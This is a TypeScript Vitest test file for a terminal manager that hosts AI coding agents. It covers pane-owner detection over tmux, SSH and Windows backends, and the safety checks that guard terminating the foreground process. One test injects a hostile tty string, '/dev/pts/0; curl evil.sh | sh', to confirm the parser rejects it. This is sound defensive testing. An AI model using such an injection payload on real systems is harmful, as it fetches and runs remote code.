Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

31.7 KB
Raw Blame
// `PtyManager.paneOwner` — the two round-trips, on both legs, and every way they can fail.
//
// The pure parsers are proven against a real tmux pane in `agents/pane-owner.test.ts`. What is left
// for this file is DISPATCH: which binary is asked, with which argv, on a local session versus an
// SSH-project one — and the failure contract, which is the security-relevant half. A partial
// `PaneOwner` (identity, no argv) would read to the predicate as "the kernel answered", so every
// failure here must answer null.
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
import { initPlatform, resetPlatformForTests } from './platform'
import { fakePlatform } from './platform-fake'
import { TMUX_SOCKET, sessionName } from './tmux-naming'
import { PANE_OWNER_FMT } from './agents/pane-owner'
import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'

/** Every `runAsync` in pty-manager lands here. `answer` decides what each call resolves to. */
const calls: Array<{ file: string; args: string[] }> = []
const script = vi.hoisted(() => ({
  answer: (() => ({ stdout: '' })) as (file: string, args: string[]) => { stdout: string }
}))

vi.mock('child_process', () => {
  type Cb = (err: Error | null, res?: { stdout: string; stderr: string }) => void
  const execFile = (file: string, args: string[], a?: unknown, b?: unknown): unknown => {
    const cb = (typeof a === 'function' ? a : b) as Cb | undefined
    calls.push({ file, args })
    try {
      cb?.(null, { ...script.answer(file, args), stderr: '' })
    } catch (e) {
      cb?.(e as Error)
    }
    return {}
  }
  return { execFile, execFileSync: (): string => '' }
})

const ssh = vi.hoisted(() => ({ path: '/usr/bin/ssh' as string | null }))
vi.mock('./exec-path', async (importOriginal) => ({
  ...(await importOriginal<typeof import('./exec-path')>()),
  findExecutableSync: (bin: string) => (bin === 'ssh' ? ssh.path : null),
  shellPathNow: () => '/usr/bin:/bin',
  resolveShellPath: async () => '/usr/bin:/bin'
}))

vi.mock('node-pty', () => ({
  spawn: () => ({
    onData: () => {},
    onExit: () => {},
    write: () => {},
    resize: () => {},
    pause: () => {},
    resume: () => {},
    kill: () => {},
    pid: 4321
  })
}))

const NODE = 'node-1'
const hostMessaging = vi.hoisted(() => ({
  owner: vi.fn(async () => null as unknown),
  pasteReady: vi.fn(async () => false),
  send: vi.fn(async () => false),
  terminate: vi.fn(async (): Promise<boolean | 'unsupported'> => true),
  writeDetached: vi.fn(async () => true),
  supported: vi.fn(() => true)
}))
vi.mock('./session-host-backend', async (original) => ({
  ...(await original<typeof import('./session-host-backend')>()),
  sessionHostMessageOwner: hostMessaging.owner,
  sessionHostMessagePasteReady: hostMessaging.pasteReady,
  sessionHostMessageEnvelope: hostMessaging.send,
  sessionHostTerminateOwner: hostMessaging.terminate,
  sessionHostWriteDetached: hostMessaging.writeDetached,
  sessionHostSupported: hostMessaging.supported
}))
const TARGET = sessionName(NODE)
const TTY = '/dev/pts/7'
const PS_OUT = [
  '2485382 2485382 Ss   -bash',
  '2503294 2503294 Sl+  node /usr/local/bin/claude --resume x',
  '2503300 2503294 S+   rg --files'
].join('\n')

/**
 * A manager with one registered session and a resolved tmux, built WITHOUT going through `create`.
 * `paneOwner` reads exactly two things off a session — its `persistKey` and its `sshRemote` — so a
 * spawn harness would be noise around the thing under test.
 */
async function manager(opts: { tmux?: string | null; sshRemote?: unknown } = {}) {
  const { PtyManager } = await import('./pty-manager')
  const mgr = new PtyManager() as unknown as {
    tmuxPath: string | null
    sessions: Map<string, unknown>
    paneOwner(k: string): Promise<unknown>
  }
  mgr.tmuxPath = opts.tmux === undefined ? '/usr/bin/tmux' : opts.tmux
  mgr.sessions.set('sess-1', { persistKey: NODE, sshRemote: opts.sshRemote })
  return mgr
}

/**
 * The default healthy answers. Local: tmux answers the format, `ps` answers the tty listing.
 * SSH: the ONE combined exec answers the fenced identity line plus the `ps` rows in one stdout
 * (issue #460) — the reply shape `remotePaneOwnerCombinedArgs`'s script really produces, proven
 * against a real sh + tmux in `agents/pane-owner.test.ts`.
 */
function healthy(file: string, args: string[]): { stdout: string } {
  if (file === '/usr/bin/ssh') {
    return { stdout: `##NTPANE 2485382|${TTY}|node\n${PS_OUT}\n` }
  }
  if (args.includes(PANE_OWNER_FMT)) {
    return { stdout: `2485382|${TTY}|node\n` }
  }
  if (file === 'ps') return { stdout: PS_OUT }
  return { stdout: '' }
}

describe('PtyManager.paneOwner', () => {
  it('routes a persistent Windows generation exclusively through the host extension', async () => {
    const mgr = await manager() as unknown as {
      sessions: Map<string, unknown>
      byPersistKey: Map<string, string>
      paneOwner(id: string): Promise<unknown>
      envelopePasteReady(id: string): Promise<boolean>
      sendEnvelope(id: string, text: string, expected?: unknown): Promise<boolean>
    }
    mgr.sessions.set('host-session', { persistKey: NODE, indexKey: NODE, sessionHost: true })
    mgr.byPersistKey.set(NODE, 'host-session')
    const expected = { panePid: 10, tty: 'win32-console:10', paneId: 'host-generation', command: 'opencode', argv: ['opencode'] }
    hostMessaging.owner.mockResolvedValueOnce(expected)
    expect(await mgr.paneOwner(NODE)).toEqual(expected)
    expect(await mgr.envelopePasteReady(NODE)).toBe(false)
    expect(await mgr.sendEnvelope(NODE, 'message', expected)).toBe(false)
    expect(hostMessaging.owner).toHaveBeenCalledWith(TARGET)
    expect(hostMessaging.pasteReady).toHaveBeenCalledWith(TARGET)
    expect(hostMessaging.send).toHaveBeenCalledWith(TARGET, 'message', expected)
    expect(calls).toHaveLength(0) // No fallback to the POSIX tmux that is also installed.
  })

  it('reaches a RELEASED session-host generation through its release record, never tmux', async () => {
    // Park expiry / offscreen release drops the Session, but the host keeps the session running.
    // Before the release record carried the backend, every probe fell through to the tmux branch
    // (installed here on purpose) and a live agent read as unreachable.
    const mgr = await manager() as unknown as {
      sessions: Map<string, unknown>
      released: Map<string, unknown>
      paneOwner(id: string): Promise<unknown>
      envelopePasteReady(id: string): Promise<boolean>
      sendEnvelope(id: string, text: string, expected?: unknown): Promise<boolean>
    }
    mgr.sessions.clear()
    mgr.released.set(NODE, { sessionId: 'host-session', remote: false, sessionHost: true })
    const expected = { panePid: 10, tty: 'win32-console:10', paneId: 'host-generation', command: 'opencode', argv: ['opencode'] }
    hostMessaging.owner.mockResolvedValueOnce(expected)
    hostMessaging.pasteReady.mockResolvedValueOnce(true)
    hostMessaging.send.mockResolvedValueOnce(true)
    expect(await mgr.paneOwner(NODE)).toEqual(expected)
    expect(await mgr.envelopePasteReady(NODE)).toBe(true)
    expect(await mgr.sendEnvelope(NODE, 'message', expected)).toBe(true)
    expect(hostMessaging.send).toHaveBeenCalledWith(TARGET, 'message', expected)
    expect(calls).toHaveLength(0)
  })

  it('keeps a released TMUX generation on the tmux path', async () => {
    const mgr = await manager() as unknown as {
      sessions: Map<string, unknown>
      released: Map<string, unknown>
      paneOwner(id: string): Promise<unknown>
    }
    mgr.sessions.clear()
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: false, sessionHost: false })
    hostMessaging.owner.mockClear()
    await mgr.paneOwner(NODE)
    expect(hostMessaging.owner).not.toHaveBeenCalled()
    expect(calls[0]?.file).toBe('/usr/bin/tmux')
  })

  it('finds a live non-persistent Windows node by its runtime index', async () => {
    const mgr = await manager({ tmux: null }) as unknown as {
      sessions: Map<string, unknown>
      byPersistKey: Map<string, string>
      hasLiveSession(id: string): boolean
      paneOwner(id: string): Promise<unknown>
      sendEnvelope(id: string, text: string, expected?: unknown): Promise<boolean>
      captureSession(id: string): Promise<string>
    }
    const nativeOwner = { panePid: 40, paneId: 'native-generation', tty: 'win32-console:40', command: 'opencode', argv: ['opencode'], pids: [41], processBirths: ['born'] }
    const sendEnvelope = vi.fn(async () => true)
    mgr.sessions.set('plain-session', {
      indexKey: 'plain-node',
      nativeWindowsPane: {
        owner: async () => nativeOwner,
        sendEnvelope,
        capture: async () => 'native terminal output'
      }
    })
    mgr.byPersistKey.set('plain-node', 'plain-session')
    expect(mgr.hasLiveSession('plain-node')).toBe(true)
    expect(await mgr.paneOwner('plain-node')).toEqual(nativeOwner)
    expect(await mgr.captureSession('plain-node')).toBe('native terminal output')
    expect(await mgr.sendEnvelope('plain-node', 'message', nativeOwner)).toBe(true)
    expect(sendEnvelope).toHaveBeenCalledWith('message', nativeOwner)
    mgr.sessions.delete('plain-session')
    expect(mgr.hasLiveSession('plain-node')).toBe(false)
  })

  beforeEach(() => {
    calls.length = 0
    ssh.path = '/usr/bin/ssh'
    script.answer = healthy
    vi.resetModules()
    initPlatform(fakePlatform())
  })
  afterEach(() => {
    resetPlatformForTests()
  })

  it('local: one display-message on OUR socket, then one ps on the pane tty', async () => {
    const mgr = await manager()
    const owner = await mgr.paneOwner(NODE)

    expect(calls).toHaveLength(2)
    expect(calls[0]).toEqual({
      file: '/usr/bin/tmux',
      // Exact (`=name:`): a bare target prefix-matches a longer session on a miss.
      args: ['-L', TMUX_SOCKET, 'display-message', '-p', '-t', `=${TARGET}:`, PANE_OWNER_FMT]
    })
    expect(calls[1]).toEqual({
      file: 'ps',
      args: ['-ww', '-o', 'pid=', '-o', 'pgid=', '-o', 'stat=', '-o', 'args=', '-t', TTY]
    })
    expect(owner).toEqual({
      panePid: 2485382,
      tty: TTY,
      command: 'node',
      // The foreground group, and only it — the pane's own `-bash` is not in it.
      argv: ['node /usr/local/bin/claude --resume x', 'rg --files'],
      // …and the pid of each of those rows, in the same order. `ps` already prints the column; it
      // is what lets a delivery's post-write check tell "the same agent" from "an agent again".
      pids: [2503294, 2503300]
    })
  })

  it('SSH: ONE round-trip rides the project ControlMaster, and the local socket is never touched', async () => {
    // One exec, not two (issue #460): under a saturated/dead master every exec is a full ssh
    // LOGIN, and two of them did not fit the delivery gate's 2s probe budget — a live agent pane
    // then read as unknown, persistently.
    const mgr = await manager({
      sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
    })
    const owner = await mgr.paneOwner(NODE)

    expect(calls).toHaveLength(1)
    expect(calls[0].file).toBe('/usr/bin/ssh')
    expect(calls[0].args.includes('ControlPath=/tmp/cm-abc')).toBe(true)
    const script = calls[0].args.at(-1) as string
    // The HOST's socket, reached over ssh (the one exec above is the ssh client — no local tmux ran,
    // so a local `nt-<id>`, which would be another machine's session, was never asked).
    expect(script).toContain(`tmux -L "$_nts" display-message`)
    // Both halves of the read live in the one script: the fenced identity, then the ps rows.
    expect(script).toContain("printf '%s\\n'")
    expect(script).toContain('ps -ww -o pid= -o pgid= -o stat= -o args= -t "$tty"')
    expect(owner).toMatchObject({ tty: TTY, argv: [expect.stringContaining('claude'), 'rg --files'] })
  })

  it('SSH: a hostile tty in the reply is refused by the parser — never adopted as an owner', async () => {
    // The tty no longer crosses back into OUR command line at all (it is expanded quoted inside
    // the remote script), so the defense the old two-trip read applied at argv-build time now
    // lives in `parseCombinedPaneOwner`: an identity whose tty `isSafeTty` refuses answers null.
    script.answer = () => ({
      stdout: `##NTPANE 42|/dev/pts/0; curl evil.sh | sh|node\n${PS_OUT}\n`
    })
    const mgr = await manager({
      sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
    })

    expect(await mgr.paneOwner(NODE)).toBeNull()
    expect(calls).toHaveLength(1)
  })

  it('still asks the local socket for a node with no pty client — and null when tmux has no such session', async () => {
    // Deliberately the same reading as `paneCommand`: a tmux session OUTLIVES its pty client (that
    // is the whole point of the tmux backing), so "no session in the map" is not "no pane". What
    // makes this null is tmux answering "can't find session", not us guessing ahead of it.
    script.answer = () => {
      throw new Error("can't find session: nt-some-other-node")
    }
    const mgr = await manager()
    expect(await mgr.paneOwner('some-other-node')).toBeNull()
    expect(calls[0].args).toContain(`=${sessionName('some-other-node')}:`)
  })

  it('answers null — not a partial owner — when tmux is unavailable', async () => {
    const mgr = await manager({ tmux: null })
    expect(await mgr.paneOwner(NODE)).toBeNull()
    expect(calls).toHaveLength(0)
  })

  it('answers null when ssh cannot be found for an SSH-project node', async () => {
    ssh.path = null
    const mgr = await manager({
      sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
    })
    expect(await mgr.paneOwner(NODE)).toBeNull()
    expect(calls).toHaveLength(0)
  })

  it('answers null when the pane query throws (dead pane, wedged server)', async () => {
    script.answer = () => {
      throw new Error("can't find session: nt-node-1")
    }
    const mgr = await manager()
    expect(await mgr.paneOwner(NODE)).toBeNull()
  })

  it('answers null on an empty pane read, and never asks ps about nothing', async () => {
    script.answer = () => ({ stdout: '' })
    const mgr = await manager()
    expect(await mgr.paneOwner(NODE)).toBeNull()
    expect(calls).toHaveLength(1)
  })

  it('answers null when ps returns nothing — a pane we cannot see is not a pane we can name', async () => {
    script.answer = (file, args) =>
      args.includes(PANE_OWNER_FMT) ? { stdout: `1|${TTY}|node` } : { stdout: '' }
    const mgr = await manager()
    expect(await mgr.paneOwner(NODE)).toBeNull()
    expect(calls).toHaveLength(2)
  })

  it('answers null when ps lists the tty but marks no foreground group', async () => {
    script.answer = (file, args) =>
      args.includes(PANE_OWNER_FMT)
        ? { stdout: `1|${TTY}|node` }
        : { stdout: '2485382 2485382 Ss   -bash' }
    const mgr = await manager()
    expect(await mgr.paneOwner(NODE)).toBeNull()
  })

  it('answers null when ps itself errors (a platform whose ps lacks these flags)', async () => {
    script.answer = (file, args) => {
      if (args.includes(PANE_OWNER_FMT)) return { stdout: `1|${TTY}|node` }
      throw new Error('ps: illegal option -- w')
    }
    const mgr = await manager()
    expect(await mgr.paneOwner(NODE)).toBeNull()
  })
})

// ── terminateForeground identity gate (#226 review) ──────────────────────────────────────────────
// The kill must fire ONLY when the expected harness owns the foreground group. Refusing a shell is
// not enough: a stale model-switch menu could otherwise SIGTERM whatever the user is now running in
// the pane (vim, a build). These drive the real `terminateForeground` over the same fake exec.

/** Manager with getSettings wired (binariesFor needs customAgents) and a spy on process.kill. */
async function killManager(opts: { customAgents?: unknown[] } = {}) {
  const { PtyManager } = await import('./pty-manager')
  const mgr = new PtyManager() as unknown as {
    tmuxPath: string | null
    sessions: Map<string, unknown>
    getSettings: () => unknown
    terminateForeground(k: string, expected?: string): Promise<boolean>
  }
  mgr.tmuxPath = '/usr/bin/tmux'
  mgr.sessions.set('sess-1', { persistKey: NODE, sshRemote: undefined })
  mgr.getSettings = () => ({ customAgents: opts.customAgents ?? [] })
  return mgr
}

describe('PtyManager.terminateForeground — identity gate', () => {
  let killed: number[]
  let killSpy: ReturnType<typeof vi.spyOn>
  beforeEach(() => {
    calls.length = 0
    ssh.path = '/usr/bin/ssh'
    vi.resetModules()
    initPlatform(fakePlatform())
    killed = []
    killSpy = vi.spyOn(process, 'kill').mockImplementation(((pid: number, sig?: string | number) => {
      // The grace poll probes with signal 0 and expects ESRCH once the group is gone; make the
      // first probe say "alive" then throw so the loop terminates fast.
      if (sig === 0) throw new Error('ESRCH')
      killed.push(pid)
      return true
    }) as typeof process.kill)
  })
  afterEach(() => {
    killSpy.mockRestore()
    resetPlatformForTests()
  })

  const claudeForeground = (file: string, args: string[]): { stdout: string } => {
    // paneOwner's PANE_OWNER_FMT read (MOST specific — it also contains '#{pane_pid}').
    if (args.includes(PANE_OWNER_FMT)) return { stdout: `2485382|${TTY}|node|%3\n` }
    // display-message #{pane_pid}|#{pane_current_command} (the kill path's pane read)
    if (args.join(' ').includes('#{pane_pid}')) return { stdout: '2485382|node' }
    // ps -o tpgid= -p <panePid>  (the kill-target read)
    if (args.includes('tpgid=')) return { stdout: '2503294' }
    // ps -ww ... -t tty  (paneOwner argv listing)
    if (file === 'ps') return { stdout: PS_OUT }
    return { stdout: '' }
  }

  it('KILLS the foreground group when the expected agent owns it', async () => {
    script.answer = claudeForeground
    const mgr = await killManager()
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(true)
    expect(killed).toEqual([-2503294]) // SIGTERM to the negative process group
  })

  it('REFUSES (no kill) when the pane belongs to a different program than expected', async () => {
    // Foreground group is vim, not the agent.
    script.answer = (file, args) => {
      if (args.includes(PANE_OWNER_FMT)) return { stdout: `2485382|${TTY}|vim|%3\n` }
      if (args.join(' ').includes('#{pane_pid}')) return { stdout: '2485382|vim' }
      if (args.includes('tpgid=')) return { stdout: '2503294' }
      if (file === 'ps')
        return { stdout: '2485382 2485382 Ss   -bash\n2503294 2503294 Sl+  vim /etc/hosts' }
      return { stdout: '' }
    }
    const mgr = await killManager()
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
    expect(killed).toEqual([])
  })

  it('REFUSES when the owner is unknown (paneOwner answers null) — fail closed on a kill', async () => {
    script.answer = (file, args) =>
      args.includes(PANE_OWNER_FMT) ? { stdout: `2485382|${TTY}|node\n` } : { stdout: '' } // ps empty ⇒ null owner
    const mgr = await killManager()
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
    expect(killed).toEqual([])
  })

  it('verifies a custom agent by its launchCmd binary instead of failing closed', async () => {
    script.answer = (file, args) => {
      if (args.includes(PANE_OWNER_FMT)) return { stdout: `2485382|${TTY}|aider|%3\n` }
      if (args.join(' ').includes('#{pane_pid}')) return { stdout: '2485382|aider' }
      if (args.includes('tpgid=')) return { stdout: '2503294' }
      if (file === 'ps')
        return { stdout: '2485382 2485382 Ss   -bash\n2503294 2503294 Sl+  /usr/bin/aider --model gpt' }
      return { stdout: '' }
    }
    const mgr = await killManager({
      customAgents: [{ id: 'custom:x', label: 'Aider', launchCmd: 'aider' }]
    })
    expect(await mgr.terminateForeground(NODE, 'custom:x')).toBe(true)
    expect(killed).toEqual([-2503294])
  })

  it('verifies a BLANK-command custom agent by its builtin base (claude), and kills', async () => {
    script.answer = claudeForeground
    const mgr = await killManager({
      customAgents: [{ id: 'custom:proxy', label: 'Proxy', launchCmd: '', baseAgent: 'claude' }]
    })
    expect(await mgr.terminateForeground(NODE, 'custom:proxy')).toBe(true)
    expect(killed).toEqual([-2503294])
  })

  it('REFUSES a blank-command claude-base custom agent when a shell owns the pane', async () => {
    script.answer = (file, args) => {
      if (args.includes(PANE_OWNER_FMT)) return { stdout: `2485382|${TTY}|bash|%3\n` }
      if (args.join(' ').includes('#{pane_pid}')) return { stdout: '2485382|bash' }
      if (args.includes('tpgid=')) return { stdout: '2485382' }
      if (file === 'ps') return { stdout: '2485382 2485382 Ss+  -bash' }
      return { stdout: '' }
    }
    const mgr = await killManager({
      customAgents: [{ id: 'custom:proxy', label: 'Proxy', launchCmd: '', baseAgent: 'claude' }]
    })
    expect(await mgr.terminateForeground(NODE, 'custom:proxy')).toBe(false)
    expect(killed).toEqual([])
  })

  it('with no expected id, keeps the legacy shell-only guard (kills a non-shell foreground)', async () => {
    script.answer = claudeForeground
    const mgr = await killManager()
    // No identity read happens (no PANE_OWNER_FMT call) — only the tpgid path.
    expect(await mgr.terminateForeground(NODE)).toBe(true)
    expect(killed).toEqual([-2503294])
    expect(calls.some((c) => c.args.includes(PANE_OWNER_FMT))).toBe(false)
  })
})

// ── Windows legs of terminateForeground (session host / direct ConPTY) ─────────────────────────
// No process group, no `ps`, no tmux: the kill is the proven agent's TREE, never the console root.

/** What `readWindowsConsoleOwner` answers for `cmd` -> `node …\claude\cli.js` (argv = the bin). */
const WIN_OWNER = {
  panePid: 700,
  tty: 'win32-console:700',
  paneId: 'win32:gen-1:2026-10-01T00:00:00Z',
  command: 'node',
  argv: ['claude'],
  pids: [701],
  processBirths: ['2026-10-01T00:00:05Z']
}

async function windowsManager(live: Record<string, unknown> | null) {
  const { PtyManager } = await import('./pty-manager')
  const mgr = new PtyManager() as unknown as {
    tmuxPath: string | null
    sessions: Map<string, unknown>
    released: Map<string, unknown>
    getSettings: () => unknown
    terminateProcessTree: (pid: number) => Promise<void>
    terminateForeground(k: string, expected?: string): Promise<boolean | 'unsupported'>
    backgroundWrite(k: string, data: string): Promise<boolean>
  }
  mgr.tmuxPath = null
  if (live) mgr.sessions.set('sess-1', { persistKey: NODE, sshRemote: undefined, ...live })
  mgr.getSettings = () => ({ customAgents: [], tmuxEnabled: true, ptyShadowClients: true })
  return mgr
}

describe('PtyManager.terminateForeground — Windows session host', () => {
  beforeEach(() => {
    calls.length = 0
    vi.resetModules()
    initPlatform(fakePlatform())
    hostMessaging.owner.mockReset().mockResolvedValue(WIN_OWNER)
    hostMessaging.terminate.mockReset().mockResolvedValue(true)
    hostMessaging.supported.mockReset().mockReturnValue(true)
  })
  afterEach(() => resetPlatformForTests())

  it('hands the PROVEN owner to the host and never reaches tmux or ps', async () => {
    const mgr = await windowsManager({ sessionHost: true, proc: { pid: 700 } })
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(true)
    expect(hostMessaging.terminate).toHaveBeenCalledWith(TARGET, WIN_OWNER)
    expect(calls).toEqual([])
  })

  it('routes a RELEASED session-host node to the host too', async () => {
    const mgr = await windowsManager(null)
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: false, sessionHost: true })
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(true)
    expect(hostMessaging.terminate).toHaveBeenCalledTimes(1)
  })

  it("surfaces an older host's refusal as 'unsupported'", async () => {
    hostMessaging.terminate.mockResolvedValue('unsupported')
    const mgr = await windowsManager({ sessionHost: true, proc: { pid: 700 } })
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe('unsupported')
  })

  it('refuses without an expected agent — the legacy shell-only guard is not provable here', async () => {
    const mgr = await windowsManager({ sessionHost: true, proc: { pid: 700 } })
    expect(await mgr.terminateForeground(NODE)).toBe(false)
    expect(hostMessaging.terminate).not.toHaveBeenCalled()
    expect(calls).toEqual([])
  })

  it('refuses when a different program owns the pane', async () => {
    hostMessaging.owner.mockResolvedValue({ ...WIN_OWNER, command: 'vim', argv: ['vim'] })
    const mgr = await windowsManager({ sessionHost: true, proc: { pid: 700 } })
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
    expect(hostMessaging.terminate).not.toHaveBeenCalled()
  })

  it('maps a rejecting host call to false, not a throw', async () => {
    hostMessaging.terminate.mockRejectedValue(new Error('pipe closed'))
    const mgr = await windowsManager({ sessionHost: true, proc: { pid: 700 } })
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
  })
})

describe('PtyManager.terminateForeground — direct Windows ConPTY', () => {
  beforeEach(() => {
    calls.length = 0
    vi.resetModules()
    initPlatform(fakePlatform())
    hostMessaging.terminate.mockReset()
  })
  afterEach(() => resetPlatformForTests())

  function nativePane(...owners: unknown[]) {
    const owner = vi.fn(async () => owners.length > 1 ? owners.shift() : owners[0])
    return { owner }
  }

  it('re-proves the owner and kills ONLY its pid tree', async () => {
    const pane = nativePane(WIN_OWNER)
    const mgr = await windowsManager({ nativeWindowsPane: pane, proc: { pid: 700 } })
    const killed: number[] = []
    mgr.terminateProcessTree = async (pid) => void killed.push(pid)
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(true)
    expect(killed).toEqual([701])
    expect(pane.owner).toHaveBeenCalledTimes(2) // the identity gate, then the pre-kill re-proof
    expect(hostMessaging.terminate).not.toHaveBeenCalled()
    expect(calls).toEqual([])
  })

  it('refuses when the pid was reused between the gate and the kill (birth time changed)', async () => {
    const pane = nativePane(WIN_OWNER, { ...WIN_OWNER, processBirths: ['2026-10-01T09:00:00Z'] })
    const mgr = await windowsManager({ nativeWindowsPane: pane, proc: { pid: 700 } })
    const killed: number[] = []
    mgr.terminateProcessTree = async (pid) => void killed.push(pid)
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
    expect(killed).toEqual([])
  })

  it('never kills the console root, even when the owner read names it', async () => {
    const rootOwner = { ...WIN_OWNER, pids: [700] }
    const mgr = await windowsManager({ nativeWindowsPane: nativePane(rootOwner), proc: { pid: 700 } })
    const killed: number[] = []
    mgr.terminateProcessTree = async (pid) => void killed.push(pid)
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
    expect(killed).toEqual([])
  })

  it('reports false when the tree kill rejects', async () => {
    const mgr = await windowsManager({ nativeWindowsPane: nativePane(WIN_OWNER), proc: { pid: 700 } })
    mgr.terminateProcessTree = async () => { throw new Error('access denied') }
    expect(await mgr.terminateForeground(NODE, 'claude')).toBe(false)
  })
})

describe('PtyManager.backgroundWrite — released session-host node', () => {
  beforeEach(() => {
    calls.length = 0
    vi.resetModules()
    initPlatform(fakePlatform())
    hostMessaging.writeDetached.mockReset().mockResolvedValue(true)
    hostMessaging.supported.mockReset().mockReturnValue(true)
  })
  afterEach(() => resetPlatformForTests())

  it('writes the exact bytes to nt-<id> through the host, with no tmux and no shadow', async () => {
    const mgr = await windowsManager(null)
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: false, sessionHost: true })
    expect(await mgr.backgroundWrite(NODE, '\x1b[A')).toBe(true)
    expect(hostMessaging.writeDetached).toHaveBeenCalledWith(TARGET, '\x1b[A')
    expect(calls).toEqual([])
  })

  it('is not gated on ptyShadowClients (that switch governs tmux -C children)', async () => {
    const mgr = await windowsManager(null)
    mgr.getSettings = () => ({ customAgents: [], tmuxEnabled: true, ptyShadowClients: false })
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: false, sessionHost: true })
    expect(await mgr.backgroundWrite(NODE, 'x')).toBe(true)
  })

  it('refuses with no released record, a remote one, or persistence off — and reports a host refusal', async () => {
    const mgr = await windowsManager(null)
    expect(await mgr.backgroundWrite(NODE, 'x')).toBe(false)
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: true, sessionHost: true })
    expect(await mgr.backgroundWrite(NODE, 'x')).toBe(false)
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: false, sessionHost: true })
    mgr.getSettings = () => ({ customAgents: [], tmuxEnabled: false, ptyShadowClients: true })
    expect(await mgr.backgroundWrite(NODE, 'x')).toBe(false)
    expect(hostMessaging.writeDetached).not.toHaveBeenCalled()
    mgr.getSettings = () => ({ customAgents: [], tmuxEnabled: true, ptyShadowClients: true })
    hostMessaging.writeDetached.mockResolvedValue(false)
    expect(await mgr.backgroundWrite(NODE, 'x')).toBe(false)
    expect(hostMessaging.writeDetached).toHaveBeenCalledTimes(1) // never retried
  })

  it('leaves a released TMUX record on the tmux path (host never asked)', async () => {
    const mgr = await windowsManager(null)
    mgr.released.set(NODE, { sessionId: 'sess-1', remote: false })
    await mgr.backgroundWrite(NODE, 'x') // tmuxPath is null ⇒ the tmux leg refuses as before
    expect(hostMessaging.writeDetached).not.toHaveBeenCalled()
  })
})

describe('PtyManager.paneProbeTimeoutMs — the budget follows the backend that answers', () => {
  // Both Windows backends read the pane through a PowerShell console/CIM probe (~2.4 s measured);
  // tmux and ssh keep the 2 s bound that exists for ssh's sake. Asked in `paneOwner`'s own order.
  type Mgr = {
    sessions: Map<string, unknown>
    byPersistKey: Map<string, string>
    released: Map<string, unknown>
    paneProbeTimeoutMs(id: string): number
  }
  beforeEach(() => {
    vi.resetModules()
    initPlatform(fakePlatform())
  })
  afterEach(() => resetPlatformForTests())

  it('keeps 2 s for a local tmux pane and for an SSH pane', async () => {
    const { PANE_PROBE_TIMEOUT_MS } = await import('./agents/pane-probe')
    expect(((await manager()) as unknown as Mgr).paneProbeTimeoutMs(NODE)).toBe(PANE_PROBE_TIMEOUT_MS)
    const ssh = (await manager({ sshRemote: { conn: {}, controlPath: '/tmp/cm' } })) as unknown as Mgr
    expect(ssh.paneProbeTimeoutMs(NODE)).toBe(PANE_PROBE_TIMEOUT_MS)
  })

  it('gives an attached and a RELEASED session-host pane the Windows budget', async () => {
    const { WINDOWS_PANE_PROBE_TIMEOUT_MS } = await import('./agents/pane-probe')
    const mgr = (await manager()) as unknown as Mgr
    mgr.sessions.clear()
    mgr.sessions.set('host-session', { persistKey: NODE, indexKey: NODE, sessionHost: true })
    mgr.byPersistKey.set(NODE, 'host-session')
    expect(mgr.paneProbeTimeoutMs(NODE)).toBe(WINDOWS_PANE_PROBE_TIMEOUT_MS)
    mgr.sessions.clear()
    mgr.byPersistKey.clear()
    mgr.released.set(NODE, { sessionId: 'host-session', remote: false, sessionHost: true })
    expect(mgr.paneProbeTimeoutMs(NODE)).toBe(WINDOWS_PANE_PROBE_TIMEOUT_MS)
  })

  it('gives a non-persistent native Windows pane the Windows budget too — same probe', async () => {
    const { WINDOWS_PANE_PROBE_TIMEOUT_MS } = await import('./agents/pane-probe')
    const mgr = (await manager({ tmux: null })) as unknown as Mgr
    mgr.sessions.set('plain-session', { indexKey: 'plain-node', nativeWindowsPane: {} })
    mgr.byPersistKey.set('plain-node', 'plain-session')
    expect(mgr.paneProbeTimeoutMs('plain-node')).toBe(WINDOWS_PANE_PROBE_TIMEOUT_MS)
  })
})